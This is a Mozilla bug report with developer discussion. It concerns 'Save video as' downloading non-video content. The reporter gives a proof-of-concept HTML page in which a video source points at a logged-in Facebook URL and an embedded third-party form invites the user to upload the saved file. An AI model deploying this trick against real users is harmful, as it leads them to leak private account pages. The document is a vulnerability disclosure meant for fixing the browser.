1497104 - Shouldn't allow downloading ("save video as...") for broken and/or non-video mimetype videos, to avoid tricking users into re-uploading sensitive content (e.g. html pages with logged-in content)

Status: UNCONFIRMED

(Toolkit :: Video/Audio Controls, defect, P3)

Description

[Tadj Youssouf]

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0

Steps to reproduce:

I prepared a poc for steps to reporduce : 
http://vigorous-almeida-cc91ee.netlify.com/

Or create html page :
<!DOCTYPE html>
<html>
<style>
* {
    box-sizing: border-box;
}

body {
    margin: 0;
    font-family: Arial;
    font-size: 17px;
}

#myVideo {
    position:  ;
    right: 0;
    bottom: 0;
    min-width: 80%; 
    min-height: 80%;
}
</style>
</head>
<body>
<iframe src="https://www.polydojo.com/@oc3f_dz/form?formId=5bbaae266bf7b800043c37dc" width="320" height="260" frameborder="0" marginheight="0" marginwidth="0" style="max-width: 150%;">Loading...</iframe>
<video  id="myVideo"  poster="https://orig00.deviantart.net/c5f0/f/2015/066/1/9/qr_code_animated__by_junguler-d8kqfbf.gif"> 
  <source src="https://www.facebook.com/texli.pwd" type="video/mp4" >
</video>
</body>
</html>



Actual results:

The normal user can download a file (texli.pwd) that he will think its a video but its a source page of facebook that contain his information  , if he upload it  in the page , So he expose him self in risk .


Expected results:

I think that if the video can't be played or there is something wrong in the video ,  the option of download must be disabled . 
A measure of security can be implanted also for example (save video from .....) or if the content type of the file is not a media , the user can't download the video .

Comment 1

[:Gijs (he/him)]

This is a bit tricky because arguably part of the point of having this menuitem at all is that you can download videos the browser can't play, for whatever reason (and then play them in a media player that *can* play them). Anyway, it seems like we should be able to safely discount items served with text/* (or even non-video/*) mimetypes.

I'm not convinced we should treat this as a security bug, and if we do, I think it's sec-low at best, but I'll leave the final determination up to the security team.

Comment 2

[Mike Conley (:mconley) (:⚙️)]

Attachment: PoC

Comment 3

[Mike Conley (:mconley) (:⚙️)]

I agree that we can and should probably prevent the user from saving a <video> from a file that's not actually presenting itself as a video, mime-wise. I also agree that the security team is probably the best set of folk to rate the severity here. In the meantime, I'll mark this as a P3.

Comment 4

[Tim Guan-tin Chien [:timdream] (please needinfo)]

I wonder what we do with Right click -> [Save link As...]

Comment 5

[Tadj Youssouf]

Its not save link as 
Its save the video

Comment 6

[Tim Guan-tin Chien [:timdream] (please needinfo)]

(In reply to Tadj Youssouf from comment #5)
> Its not save link as 
> Its save the video

I understand. My question was, does the [Save Link As...] menu item on links can be employed to trick the user as well? What did we do (or ended up decided not to do) in that case? If something had done previously on the network layer on saving links, we should do the same here.

Comment 7

[Mike Conley (:mconley) (:⚙️)]

(In reply to Tim Guan-tin Chien [:timdream] (please needinfo) from comment #6)
> I understand. My question was, does the [Save Link As...] menu item on links
> can be employed to trick the user as well? What did we do (or ended up
> decided not to do) in that case? If something had done previously on the
> network layer on saving links, we should do the same here.

Yep, I think so - I think the idea being that the status bar will show the URL while focusing it / hovering it with the mouse.

Comment 8

[Mike Conley (:mconley) (:⚙️)]

(So perhaps we could do something similar before opening the context menu of a video... perhaps something to ask UX about.)

Comment 9

[Tadj Youssouf]

(In reply to Tim Guan-tin Chien [:timdream] (please needinfo) from comment #6)
> (In reply to Tadj Youssouf from comment #5)
> > Its not save link as 
> > Its save the video
> 
> I understand. My question was, does the [Save Link As...] menu item on links
> can be employed to trick the user as well? What did we do (or ended up
> decided not to do) in that case? If something had done previously on the
> network layer on saving links, we should do the same here.

Yes the same thing for <a href="https://www.facebook.com/texli.pwd">Save the link as </a>

Comment 10

[:Gijs (he/him)]

(In reply to Mike Conley (:mconley) (:⚙️) from comment #7)
> (In reply to Tim Guan-tin Chien [:timdream] (please needinfo) from comment
> #6)
> > I understand. My question was, does the [Save Link As...] menu item on links
> > can be employed to trick the user as well? What did we do (or ended up
> > decided not to do) in that case? If something had done previously on the
> > network layer on saving links, we should do the same here.
> 
> Yep, I think so - I think the idea being that the status bar will show the
> URL while focusing it / hovering it with the mouse.

That's not reliable either though - see discussion in bug 229050 and others (you can basically alter the link onmouseover etc.).

Given the sec team didn't think this was a sec bug, I'd even be tempted to consider wontfix.